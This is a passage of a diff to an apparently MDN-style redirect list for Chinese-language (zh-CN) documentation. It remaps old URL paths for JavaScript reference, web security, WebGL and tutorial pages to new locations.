/zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Date /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat -/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/DisplayNames /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Intl/DisplayNames +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Error/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Error +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/EvalError/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/EvalError +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Function +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/GeneratorFunction +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/ListFormat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Intl/ListFormat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Locale /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Intl/Locale +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Map/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Map +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Math/反双曲余弦值 /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Math/acosh +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Number/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Number /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat/format /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/format /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/create/About_JavaScript /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/seal @@ -2002,28 +2482,75 @@ /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/lookupGetter /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/__lookupGetter__ /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/preventExtensions/About_this_Reference /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/preventExtensions/Global_Objects /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/isFrozen +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Object /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/PluralRules /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Intl/PluralRules +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Promise +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/construct /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/construct +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/defineProperty /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/defineProperty +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/deleteProperty /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/deleteProperty +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/get /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/getOwnPropertyDescriptor /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getOwnPropertyDescriptor +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/getPrototypeOf /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getPrototypeOf +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/has /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/has +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/isExtensible /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/isExtensible +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/ownKeys /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/ownKeys +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/preventExtensions /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/preventExtensions +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/set /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/set +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/setPrototypeOf /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/setPrototypeOf +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RangeError/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/RangeError +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/ReferenceError +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Reflect/比较_Reflect_和_Object_方法 /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Reflect/Comparing_Reflect_and_Object_methods +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/RegExp /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RelativeTimeFormat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Set/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Set +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/TrimLeft /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/trimStart +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/TrimRight /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/trimEnd /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/contains /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/includes +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/String +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Symbol/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Symbol +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/SyntaxError +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/TypeError/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/TypeError +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/TypedArray/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/TypedArray +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/URIError/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/URIError +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WeakMap/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/WeakMap +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WeakSet/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/WeakSet /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/生成器函数 /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/GeneratorFunction -/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/生成器函数/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/生成器函数/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/GeneratorFunction /zh-CN/docs/Web/JavaScript/Reference/Map /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Map /zh-CN/docs/Web/JavaScript/Reference/Methods_Index /zh-CN/docs/Web/JavaScript/Reference +/zh-CN/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators /zh-CN/docs/conflicting/Web/JavaScript/Reference/Operators +/zh-CN/docs/Web/JavaScript/Reference/Operators/Assignment_Operators /zh-CN/docs/conflicting/Web/JavaScript/Reference/Operators_8d54701de06af40a7c984517cbe87b3e +/zh-CN/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators /zh-CN/docs/conflicting/Web/JavaScript/Reference/Operators_7c8eb9475d97a4a734c5991857698560 +/zh-CN/docs/Web/JavaScript/Reference/Operators/Comparison_Operators /zh-CN/docs/conflicting/Web/JavaScript/Reference/Operators_310dc67549939233c3d18a8fa2cdbb23 +/zh-CN/docs/Web/JavaScript/Reference/Operators/Logical_Operators /zh-CN/docs/conflicting/Web/JavaScript/Reference/Operators_f71733c8e7001a29c3ec40d8522a4aca /zh-CN/docs/Web/JavaScript/Reference/Operators/Spread_operator /en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax +/zh-CN/docs/Web/JavaScript/Reference/Operators/async允许声明一个函数为一个包含异步操作的函数 /zh-CN/docs/Web/JavaScript/Reference/Operators/async_function +/zh-CN/docs/Web/JavaScript/Reference/Operators/取余 /zh-CN/docs/Web/JavaScript/Reference/Operators/Remainder +/zh-CN/docs/Web/JavaScript/Reference/Operators/可选链 /zh-CN/docs/Web/JavaScript/Reference/Operators/Optional_chaining /zh-CN/docs/Web/JavaScript/Reference/Operators/大于或等于 /zh-CN/docs/Web/JavaScript/Reference/Operators/Greater_than_or_equal +/zh-CN/docs/Web/JavaScript/Reference/Operators/按位与 /zh-CN/docs/Web/JavaScript/Reference/Operators/Bitwise_AND +/zh-CN/docs/Web/JavaScript/Reference/Operators/相加 /zh-CN/docs/Web/JavaScript/Reference/Operators/Addition +/zh-CN/docs/Web/JavaScript/Reference/Operators/相等 /zh-CN/docs/Web/JavaScript/Reference/Operators/Equality +/zh-CN/docs/Web/JavaScript/Reference/Operators/管道操作符 /zh-CN/docs/Web/JavaScript/Reference/Operators/Pipeline_operator /zh-CN/docs/Web/JavaScript/Reference/Operators/类 /zh-CN/docs/Web/JavaScript/Reference/Operators/class +/zh-CN/docs/Web/JavaScript/Reference/Operators/自减 /zh-CN/docs/Web/JavaScript/Reference/Operators/Decrement +/zh-CN/docs/Web/JavaScript/Reference/Operators/逻辑和 /zh-CN/docs/Web/JavaScript/Reference/Operators/Logical_AND /zh-CN/docs/Web/JavaScript/Reference/Properties_Index /zh-CN/docs/Web/JavaScript/Reference /zh-CN/docs/Web/JavaScript/Reference/RegExp /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp /zh-CN/docs/Web/JavaScript/Reference/RegExp/exec /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec /zh-CN/docs/Web/JavaScript/Reference/RegExp/lastIndex /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex -/zh-CN/docs/Web/JavaScript/Reference/RegExp/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/prototype +/zh-CN/docs/Web/JavaScript/Reference/RegExp/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/RegExp /zh-CN/docs/Web/JavaScript/Reference/RegExp/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/toSource +/zh-CN/docs/Web/JavaScript/Reference/Reserved_words /zh-CN/docs/conflicting/Web/JavaScript/Reference/Lexical_grammar /zh-CN/docs/Web/JavaScript/Reference/Spread_operator /en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax +/zh-CN/docs/Web/JavaScript/Reference/Statements/default /zh-CN/docs/conflicting/Web/JavaScript/Reference/Statements/switch /zh-CN/docs/Web/JavaScript/Reference/String /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String /zh-CN/docs/Web/JavaScript/Reference/String/Trim /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/Trim -/zh-CN/docs/Web/JavaScript/Reference/String/TrimLeft /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/TrimLeft -/zh-CN/docs/Web/JavaScript/Reference/String/TrimRight /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/TrimRight +/zh-CN/docs/Web/JavaScript/Reference/String/TrimLeft /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/trimStart +/zh-CN/docs/Web/JavaScript/Reference/String/TrimRight /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/trimEnd /zh-CN/docs/Web/JavaScript/Reference/String/concat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/concat /zh-CN/docs/Web/JavaScript/Reference/String/contains /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/includes /zh-CN/docs/Web/JavaScript/Reference/String/endsWith /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith @@ -2042,33 +2569,72 @@ /zh-CN/docs/Web/JavaScript/Reference/default_parameters /zh-CN/docs/Web/JavaScript/Reference/Functions/default_parameters /zh-CN/docs/Web/JavaScript/Reference/eval /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/eval /zh-CN/docs/Web/JavaScript/Reference/rest_parameters /zh-CN/docs/Web/JavaScript/Reference/Functions/Rest_parameters +/zh-CN/docs/Web/JavaScript/Reference/template_strings /zh-CN/docs/Web/JavaScript/Reference/Template_literals /zh-CN/docs/Web/JavaScript/Reference/关于 /zh-CN/docs/Web/JavaScript/Reference/About /zh-CN/docs/Web/JavaScript/Same_origin_policy_for_JavaScript /zh-CN/docs/Web/Security/Same-origin_policy /zh-CN/docs/Web/JavaScript/Strict_mode /zh-CN/docs/Web/JavaScript/Reference/Strict_mode /zh-CN/docs/Web/JavaScript/Strict_mode/Transitioning_to_strict_mode /zh-CN/docs/Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode +/zh-CN/docs/Web/JavaScript/The_performance_hazards_of__[[Prototype]]_mutation /zh-CN/docs/Web/JavaScript/The_performance_hazards_of_prototype_mutation +/zh-CN/docs/Web/JavaScript/javascript(起步) /zh-CN/docs/orphaned/Web/JavaScript/javascript(起步) /zh-CN/docs/Web/JavaScript/重新认识js /zh-CN/docs/Web/JavaScript/A_re-introduction_to_JavaScript +/zh-CN/docs/Web/Localization /zh-CN/docs/orphaned/Web/Localization +/zh-CN/docs/Web/Media/Formats/视频编解码器 /zh-CN/docs/Web/Media/Formats/Video_codecs +/zh-CN/docs/Web/Performance/浏览器渲染页面的工作原理 /zh-CN/docs/Web/Performance/How_browsers_work +/zh-CN/docs/Web/Progressive_web_apps/Network_independent /zh-CN/docs/conflicting/Web/Progressive_web_apps_8afa7a63de0cecd1c19c3fdecf62f89f +/zh-CN/docs/Web/Progressive_web_apps/Re-engageable /zh-CN/docs/conflicting/Web/Progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67 +/zh-CN/docs/Web/Progressive_web_apps/Responsive /zh-CN/docs/conflicting/Web/Progressive_web_apps/Responsive/responsive_design_building_blocks +/zh-CN/docs/Web/Progressive_web_apps/优势 /zh-CN/docs/conflicting/Web/Progressive_web_apps/Introduction +/zh-CN/docs/Web/Progressive_web_apps/加载 /zh-CN/docs/Web/Progressive_web_apps/Loading +/zh-CN/docs/Web/Progressive_web_apps/添加到主屏幕 /zh-CN/docs/Web/Progressive_web_apps/Add_to_home_screen +/zh-CN/docs/Web/SVG/Attribute/文本锚点 /zh-CN/docs/Web/SVG/Attribute/text-anchor +/zh-CN/docs/Web/SVG/Attribute/样式 /zh-CN/docs/Web/SVG/Attribute/Styling /zh-CN/docs/Web/SVG/Element/圆 /zh-CN/docs/Web/SVG/Element/circle /zh-CN/docs/Web/SVG/Element/多边形 /zh-CN/docs/Web/SVG/Element/polygon /zh-CN/docs/Web/SVG/Element/线性渐变 /zh-CN/docs/Web/SVG/Element/linearGradient /zh-CN/docs/Web/SVG/Firefox对SVG_1.1的支持 /zh-CN/docs/Web/SVG/SVG_1.1_Support_in_Firefox /zh-CN/docs/Web/SVG/Tutorial/渐变 /zh-CN/docs/Web/SVG/Tutorial/Gradients +/zh-CN/docs/Web/Security/CSP /zh-CN/docs/conflicting/Web/HTTP/CSP +/zh-CN/docs/Web/Security/CSP/Introducing_Content_Security_Policy /zh-CN/docs/conflicting/Web/HTTP/CSP_aeae68a149c6fbe64e541cbdcd6ed5c5 +/zh-CN/docs/Web/Security/CSP/Using_CSP_violation_reports /zh-CN/docs/conflicting/Web/HTTP/CSP_9583294484b49ac391995b392c2b1ae1 /zh-CN/docs/Web/Security/CSP/Using_Content_Security_Policy /zh-CN/docs/Web/HTTP/CSP +/zh-CN/docs/Web/Security/Information_Security_Basics /zh-CN/docs/orphaned/Web/Security/Information_Security_Basics +/zh-CN/docs/Web/Security/Securing_your_site/Configuring_server_MIME_types /zh-CN/docs/Learn/Server-side/Configuring_server_MIME_types +/zh-CN/docs/Web/Security/传输层安全协议 /zh-CN/docs/Web/Security/Transport_Layer_Security +/zh-CN/docs/Web/Security/子资源完整性 /zh-CN/docs/Web/Security/Subresource_Integrity /zh-CN/docs/Web/WEB_API_---js /zh-CN/docs/Web/API /zh-CN/docs/Web/WebGL /zh-CN/docs/Web/API/WebGL_API /zh-CN/docs/Web/WebGL/Adding_2D_content_to_a_WebGL_context /zh-CN/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context /zh-CN/docs/Web/WebGL/Getting_started_with_WebGL /zh-CN/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL /zh-CN/docs/Web/WebGL/用WebGL来画2D图形 /zh-CN/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context /zh-CN/docs/Web/Web_Components/Custom_Elements /zh-CN/docs/Web/Web_Components/Using_custom_elements +/zh-CN/docs/Web/Web_Components/HTML导入 /zh-CN/docs/Web/Web_Components/HTML_Imports +/zh-CN/docs/Web/Web_Components/Status_in_Firefox /zh-CN/docs/orphaned/Web/Web_Components/Status_in_Firefox +/zh-CN/docs/Web/Web_Components/影子_DOM /zh-CN/docs/conflicting/Web/Web_Components/Using_shadow_DOM +/zh-CN/docs/Web/XSLT/Elements /zh-CN/docs/Web/XSLT/Element +/zh-CN/docs/Web/媒体 /zh-CN/docs/Web/Media +/zh-CN/docs/Web/媒体/Autoplay_guide /zh-CN/docs/Web/Media/Autoplay_guide /zh-CN/docs/Web/性能 /zh-CN/docs/Web/Performance -/zh-CN/docs/WebAPI/Using_geolocation /zh-CN/docs/Web/API/Geolocation/Using_geolocation +/zh-CN/docs/Web/演示说明 /zh-CN/docs/Web/Demos_of_open_web_technologies +/zh-CN/docs/WebAPI /zh-CN/docs/conflicting/Web/API_dd04ca1265cb79b990b8120e5f5070d3 +/zh-CN/docs/WebAPI/Using_geolocation /zh-CN/docs/Web/API/Geolocation_API /zh-CN/docs/WebAssembly/概念 /zh-CN/docs/WebAssembly/Concepts /zh-CN/docs/WebGL /zh-CN/docs/Web/API/WebGL_API /zh-CN/docs/WebGL/Getting_started_with_WebGL /zh-CN/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL /zh-CN/docs/WebGL/开始使用WebGL /zh-CN/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL +/zh-CN/docs/WebGuide/API/File_System /zh-CN/docs/conflicting/Web/API/File_and_Directory_Entries_API/Introduction +/zh-CN/docs/WebGuide/API/File_System/Introduction /zh-CN/docs/Web/API/File_and_Directory_Entries_API/Introduction +/zh-CN/docs/WebRTC /zh-CN/docs/conflicting/Web/API/WebRTC_API_d8621144cbc61520339c3b10c61731f0 /zh-CN/docs/WebRTC/navigator.getUserMedia /zh-CN/docs/Web/API/Navigator/getUserMedia -/zh-CN/docs/Web_Development/Mobile/自适应_设计 /zh-CN/docs/Web_Development/Mobile/responsive_design -/zh-CN/docs/Web_Development/Web开发介绍 /zh-CN/docs/Web_Development/Introduction_to_Web_development -/zh-CN/docs/XMLSerializer-840092-dup /zh-CN/docs/XMLSerializer +/zh-CN/docs/WebRTC/介绍 /zh-CN/docs/Web/API/WebRTC_API/Session_lifetime +/zh-CN/docs/Web_Development /zh-CN/docs/conflicting/Web/Guide +/zh-CN/docs/Web_Development/Introduction_to_Web_development /zh-CN/docs/Web/Guide/Introduction_to_Web_development +/zh-CN/docs/Web_Development/Mobile /zh-CN/docs/conflicting/Web/Guide/Mobile +/zh-CN/docs/Web_Development/Mobile/responsive_design /zh-CN/docs/conflicting/Web/Progressive_web_apps +/zh-CN/docs/Web_Development/Mobile/自适应_设计 /zh-CN/docs/conflicting/Web/Progressive_web_apps +/zh-CN/docs/Web_Development/Web开发介绍 /zh-CN/docs/Web/Guide/Introduction_to_Web_development +/zh-CN/docs/XHTML /zh-CN/docs/Glossary/XHTML +/zh-CN/docs/XMLSerializer /zh-CN/docs/Web/API/XMLSerializer +/zh-CN/docs/XMLSerializer-840092-dup /zh-CN/docs/Web/API/XMLSerializer /zh-CN/docs/XML_Introduction /zh-CN/docs/Web/XML/XML_Introduction /zh-CN/docs/XML_in_Mozilla /zh-CN/docs/Mozilla中的XML /zh-CN/docs/XML_介绍 /zh-CN/docs/Web/XML/XML_Introduction @@ -2076,22 +2642,41 @@ /zh-CN/docs/XPath/Axes /zh-CN/docs/Web/XPath/Axes /zh-CN/docs/XPath:Axes /zh-CN/docs/Web/XPath/Axes /zh-CN/docs/XSLT /zh-CN/docs/Web/XSLT -/zh-CN/docs/XSLT/Elements /zh-CN/docs/Web/XSLT/Elements -/zh-CN/docs/XSLT:Elements /zh-CN/docs/Web/XSLT/Elements +/zh-CN/docs/XSLT/Elements /zh-CN/docs/Web/XSLT/Element +/zh-CN/docs/XSLT:Elements /zh-CN/docs/Web/XSLT/Element /zh-CN/docs/XTech_2005_Presentations/Mozilla_RDF_引擎指导 /zh-CN/docs/XTech_2005_Presentations/Directions_of_the_Mozilla_RDF_engine /zh-CN/docs/XTech_2005_Presentations:Mozilla_RDF_引擎指导 /zh-CN/docs/XTech_2005_Presentations/Directions_of_the_Mozilla_RDF_engine /zh-CN/docs/XTech_2005_Presentations:XUL_-_Mozilla's_XML_User_Interface_Language /zh-CN/docs/XTech_2005_Presentations/XUL_-_Mozilla's_XML_User_Interface_Language /zh-CN/docs/chrome_window_icons /zh-CN/docs/Window_icons /zh-CN/docs/d_temp /zh-CN/docs/Web/API/Document -/zh-CN/docs/data_URIs /zh-CN/docs/Web/HTTP/data_URIs +/zh-CN/docs/data_URIs /zh-CN/docs/Web/HTTP/Basics_of_HTTP/Data_URIs /zh-CN/docs/en /en-US/ /zh-CN/docs/keypress /zh-CN/docs/Web/API/Document/keypress_event +/zh-CN/docs/learn/Accessibility/CSS和JavaScript /zh-CN/docs/Learn/Accessibility/CSS_and_JavaScript +/zh-CN/docs/learn/Accessibility/HTML:为可访问性提供一个良好的基础 /zh-CN/docs/Learn/Accessibility/HTML /zh-CN/docs/learn/Accessibility/什么是可访问性 /zh-CN/docs/Learn/Accessibility/What_is_accessibility +/zh-CN/docs/learn/Accessibility/多媒体 /zh-CN/docs/Learn/Accessibility/Multimedia /zh-CN/docs/learn/GitHub /zh-CN/docs/Learn/Tools_and_testing/GitHub +/zh-CN/docs/learn/HTML/Forms_and_buttons /zh-CN/docs/orphaned/Learn/HTML/Forms_and_buttons /zh-CN/docs/learn/HTML/Introduction_to_HTML/创建超链接 /zh-CN/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks +/zh-CN/docs/learn/HTML/Introduction_to_HTML/文件和网站结构 /zh-CN/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure +/zh-CN/docs/learn/How_the_Internet_works /zh-CN/docs/Learn/Common_questions/How_does_the_Internet_work +/zh-CN/docs/learn/How_to_contribute /zh-CN/docs/orphaned/Learn/How_to_contribute /zh-CN/docs/learn/JavaScript/Building_blocks/事件 /zh-CN/docs/Learn/JavaScript/Building_blocks/Events +/zh-CN/docs/learn/JavaScript/Building_blocks/相片走廊 /zh-CN/docs/Learn/JavaScript/Building_blocks/Image_gallery +/zh-CN/docs/learn/JavaScript/异步 /zh-CN/docs/Learn/JavaScript/Asynchronous +/zh-CN/docs/learn/JavaScript/异步/Async_await /zh-CN/docs/Learn/JavaScript/Asynchronous/Async_await +/zh-CN/docs/learn/JavaScript/异步/Choosing_the_right_approach /zh-CN/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach +/zh-CN/docs/learn/JavaScript/异步/Promises语法 /zh-CN/docs/Learn/JavaScript/Asynchronous/Promises +/zh-CN/docs/learn/JavaScript/异步/概念 /zh-CN/docs/Learn/JavaScript/Asynchronous/Concepts +/zh-CN/docs/learn/JavaScript/异步/简介 /zh-CN/docs/Learn/JavaScript/Asynchronous/Introducing +/zh-CN/docs/learn/JavaScript/异步/超时和间隔 /zh-CN/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals /zh-CN/docs/learn/Performance/CSS_performance /zh-CN/docs/Learn/Performance/CSS /zh-CN/docs/learn/Performance/dns-prefetch /zh-CN/docs/Web/Performance/dns-prefetch +/zh-CN/docs/learn/Performance/感知性能 /zh-CN/docs/Learn/Performance/perceived_performance +/zh-CN/docs/learn/Server-side/Django/主页构建 /zh-CN/docs/Learn/Server-side/Django/Home_page +/zh-CN/docs/learn/Server-side/Django/开发环境 /zh-CN/docs/Learn/Server-side/Django/development_environment +/zh-CN/docs/learn/Server-side/Django/管理站点 /zh-CN/docs/Learn/Server-side/Django/Admin_site /zh-CN/docs/learn/WebGL/By_example /zh-CN/docs/Web/API/WebGL_API/By_example /zh-CN/docs/learn/WebGL/By_example/Basic_scissoring /zh-CN/docs/Web/API/WebGL_API/By_example/Basic_scissoring /zh-CN/docs/learn/WebGL/By_example/Boilerplate_1 /zh-CN/docs/Web/API/WebGL_API/By_example/Boilerplate_1 @@ -2102,6 +2687,7 @@ /zh-CN/docs/learn/WebGL/By_example/Hello_GLSL /zh-CN/docs/Web/API/WebGL_API/By_example/Hello_GLSL /zh-CN/docs/learn/WebGL/By_example/Scissor_animation /zh-CN/docs/Web/API/WebGL_API/By_example/Scissor_animation /zh-CN/docs/learn/WebGL/By_example/Simple_color_animation /zh-CN/docs/Web/API/WebGL_API/By_example/Simple_color_animation +/zh-CN/docs/learn/Web_Mechanics /zh-CN/docs/conflicting/Learn/Common_questions /zh-CN/docs/learn/常见问题 /zh-CN/docs/Learn/Common_questions /zh-CN/docs/learn/常见问题/Thinking_before_coding /zh-CN/docs/Learn/Common_questions/Thinking_before_coding /zh-CN/docs/learn/常见问题/What_are_hyperlinks /zh-CN/docs/Learn/Common_questions/What_are_hyperlinks @@ -2110,8 +2696,9 @@ /zh-CN/docs/learn/常见问题/What_is_a_web_server /zh-CN/docs/Learn/Common_questions/What_is_a_web_server /zh-CN/docs/learn/常见问题/What_is_accessibility /zh-CN/docs/Learn/Common_questions/What_is_accessibility /zh-CN/docs/learn/常见问题/网页,网站,网页服务器和搜索引擎的区别是什么? /zh-CN/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines -/zh-CN/docs/learn/探索浏览器开发者工具 /zh-CN/docs/Learn/Discover_browser_developer_tools -/zh-CN/docs/为Firefox_3升级扩展 /zh-CN/docs/Updating_extensions_for_Firefox_3 +/zh-CN/docs/learn/探索浏览器开发者工具 /zh-CN/docs/Learn/Common_questions/What_are_browser_developer_tools +/zh-CN/docs/为Firefox_3升级扩展 /zh-CN/docs/Mozilla/Firefox/Releases/3/Updating_extensions +/zh-CN/docs/使用Javascript和DOM_Interfaces来处理HTML /zh-CN/docs/Web/API/Document_Object_Model/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces /zh-CN/docs/使用剪贴板 /zh-CN/docs/Using_the_Clipboard /zh-CN/docs/升级扩展支持多种Mozilla应用程序 /zh-CN/docs/Updating_an_extension_to_support_multiple_Mozilla_applications /zh-CN/docs/在Venkman中使用断点 /zh-CN/docs/Using_Breakpoints_in_Venkman @@ -2121,7 +2708,7 @@ /zh-CN/docs/怪异模式和标准模式 /zh-CN/docs/Web/HTML/Quirks_Mode_and_Standards_Mode 